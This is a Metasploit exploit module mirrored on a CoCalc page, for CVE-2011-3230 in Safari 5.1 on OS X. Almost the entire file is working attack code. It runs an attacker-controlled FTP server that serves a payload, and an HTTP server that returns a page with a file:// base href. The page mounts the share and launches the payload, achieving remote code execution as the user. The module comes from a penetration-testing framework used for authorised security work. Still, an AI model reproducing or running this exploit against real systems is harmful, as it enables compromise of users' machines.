CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/browser/safari_file_policy.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = NormalRanking
9
10
include Msf::Exploit::Remote::FtpServer
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "Apple Safari file:// Arbitrary Code Execution",
15
'Description' => %q{
16
This module exploits a vulnerability found in Apple Safari on OS X platform.
17
A policy issue in the handling of file:// URLs may allow arbitrary remote code
18
execution under the context of the user.
19
20
In order to trigger arbitrary remote code execution, the best way seems to
21
be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
22
a file format that OS X might automount), and then execute it in /Volumes/[share].
23
If there's some kind of bug that leaks the victim machine's current username,
24
then it's also possible to execute the payload in /Users/[username]/Downloads/,
25
or else bruteforce your way to getting that information.
26
27
Please note that non-java payloads (*.sh extension) might get launched by
28
Xcode instead of executing it, in that case please try the Java ones instead.
29
},
30
'License' => MSF_LICENSE,
31
'Author' =>
32
[
33
'Aaron Sigel', # Initial discovery
34
'sinn3r', # Metasploit (also big thanks to HD, and bannedit)
35
],
36
'References' =>
37
[
38
[ 'CVE', '2011-3230' ],
39
[ 'OSVDB', '76389' ],
40
[ 'URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments' ],
41
[ 'URL', 'http://support.apple.com/kb/HT5000' ]
42
],
43
'Payload' =>
44
{
45
'BadChars' => "",
46
},
47
'DefaultOptions' =>
48
{
49
'EXITFUNC' => "none",
50
},
51
'Platform' => %w{ java osx unix },
52
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
53
'Targets' =>
54
[
55
[ 'Safari 5.1 on OS X', {} ],
56
[ 'Safari 5.1 on OS X with Java', {} ]
57
],
58
'Privileged' => true,
59
'DisclosureDate' => '2011-10-12', #Blog date
60
'DefaultTarget' => 0))
61
62
register_options(
63
[
64
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
65
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),
66
OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])
67
])
68
end
69
70
71
#
72
# Start the FTP aand HTTP server
73
#
74
def exploit
75
# The correct extension name is necessary because that's how the LauncherServices
76
# determines how to open the file.
77
ext = (target.name =~ /java/i) ? '.jar' : '.sh'
78
@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext
79
80
# Start the FTP server
81
start_service()
82
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
83
84
# Create our own HTTP server
85
# We will stay in this functino until we manually terminate execution
86
start_http()
87
end
88
89
90
#
91
# Lookup the right address for the client
92
#
93
def lookup_lhost(c=nil)
94
# Get the source address
95
if datastore['SRVHOST'] == '0.0.0.0'
96
Rex::Socket.source_address( c || '50.50.50.50')
97
else
98
datastore['SRVHOST']
99
end
100
end
101
102
103
#
104
# Override the client connection method and
105
# initialize our payload
106
#
107
def on_client_connect(c)
108
r = super(c)
109
@state[c][:payload] = regenerate_payload(c).encoded
110
r
111
end
112
113
114
#
115
# Handle FTP LIST request (send back the directory listing)
116
#
117
def on_client_command_list(c, arg)
118
conn = establish_data_connection(c)
119
if not conn
120
c.put("425 Can't build data connection\r\n")
121
return
122
end
123
124
print_status("Data connection setup")
125
c.put("150 Here comes the directory listing\r\n")
126
127
print_status("Sending directory list via data connection")
128
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
129
m = month_names[Time.now.month-1]
130
d = Time.now.day
131
y = Time.now.year
132
133
dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"
134
conn.put(dir)
135
conn.close
136
137
print_status("Directory sent ok")
138
c.put("226 Transfer ok\r\n")
139
140
return
141
end
142
143
144
#
145
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
146
#
147
def on_client_command_retr(c, arg)
148
conn = establish_data_connection(c)
149
if not conn
150
c.put("425 can't build data connection\r\n")
151
return
152
end
153
154
print_status("Connection for file transfer accepted")
155
c.put("150 Connection accepted\r\n")
156
157
# Send out payload
158
conn.put(@state[c][:payload])
159
conn.close
160
return
161
end
162
163
164
#
165
# Handle the HTTP request and return a response. Code borrorwed from:
166
# msf/core/exploit/http/server.rb
167
#
168
def start_http(opts={})
169
# Ensure all dependencies are present before initializing HTTP
170
use_zlib
171
172
comm = datastore['ListenerComm']
173
if (comm.to_s == "local")
174
comm = ::Rex::Socket::Comm::Local
175
else
176
comm = nil
177
end
178
179
# Default the server host / port
180
opts = {
181
'ServerHost' => datastore['SRVHOST'],
182
'ServerPort' => datastore['HTTPPORT'],
183
'Comm' => comm
184
}.update(opts)
185
186
# Start a new HTTP server
187
@http_service = Rex::ServiceManager.start(
188
Rex::Proto::Http::Server,
189
opts['ServerPort'].to_i,
190
opts['ServerHost'],
191
datastore['SSL'],
192
{
193
'Msf' => framework,
194
'MsfExploit' => self,
195
},
196
opts['Comm'],
197
datastore['SSLCert']
198
)
199
200
@http_service.server_name = datastore['HTTP::server_name']
201
202
# Default the procedure of the URI to on_request_uri if one isn't
203
# provided.
204
uopts = {
205
'Proc' => Proc.new { |cli, req|
206
on_request_uri(cli, req)
207
},
208
'Path' => resource_uri
209
}.update(opts['Uri'] || {})
210
211
proto = (datastore["SSL"] ? "https" : "http")
212
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
213
214
if (opts['ServerHost'] == '0.0.0.0')
215
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
216
end
217
218
# Add path to resource
219
@service_path = uopts['Path']
220
@http_service.add_resource(uopts['Path'], uopts)
221
222
# As long as we have the http_service object, we will keep the ftp server alive
223
while @http_service
224
select(nil, nil, nil, 1)
225
end
226
end
227
228
229
#
230
# Kill HTTP/FTP (shut them down and clear resources)
231
#
232
def cleanup
233
super
234
235
# clear my resource, deregister ref, stop/close the HTTP socket
236
begin
237
@http_service.remove_resource(datastore['URIPATH'])
238
@http_service.deref
239
@http_service = nil
240
rescue
241
end
242
end
243
244
245
#
246
# Ensures that gzip can be used. If not, an exception is generated. The
247
# exception is only raised if the DisableGzip advanced option has not been
248
# set.
249
#
250
def use_zlib
251
if !Rex::Text.zlib_present? && datastore['HTTP::compression']
252
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
253
end
254
end
255
256
257
#
258
# Returns the configured (or random, if not configured) URI path
259
#
260
def resource_uri
261
path = datastore['URIPATH'] || rand_text_alphanumeric(8+rand(8))
262
path = '/' + path if path !~ /^\//
263
datastore['URIPATH'] = path
264
return path
265
end
266
267
268
#
269
# Handle HTTP requets and responses
270
#
271
def on_request_uri(cli, request)
272
agent = request.headers['User-Agent']
273
274
if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
275
print_error("Unsupported target: #{agent}")
276
send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
277
return
278
end
279
280
html = <<-HTML
281
<html>
282
<head>
283
<base href="file://">
284
<script>
285
function launch() {
286
document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
287
}
288
289
function share() {
290
document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
291
setTimeout("launch()", 2000);
292
}
293
294
share();
295
</script>
296
</head>
297
<body>
298
</body>
299
</html>
300
HTML
301
302
send_response(cli, 200, 'OK', html)
303
end
304
305
306
#
307
# Create an HTTP response and then send it
308
#
309
def send_response(cli, code, message='OK', html='')
310
proto = Rex::Proto::Http::DefaultProtocol
311
res = Rex::Proto::Http::Response.new(code, message, proto)
312
res['Content-Type'] = 'text/html'
313
res.body = html
314
315
cli.send_response(res)
316
end
317
end
318
319
=begin
320
- Need to find a suitable payload that can be executed without warning.
321
Certain executables cannot be executed due to permission issues. A jar file doesn't have this
322
problem, but we still get a "Are you sure?" warning before it can be executed.
323
- Allow user-specified port to automount the share
324
- Allow ftp USERNAME/PASSWORD (optional)
325
=end
326
327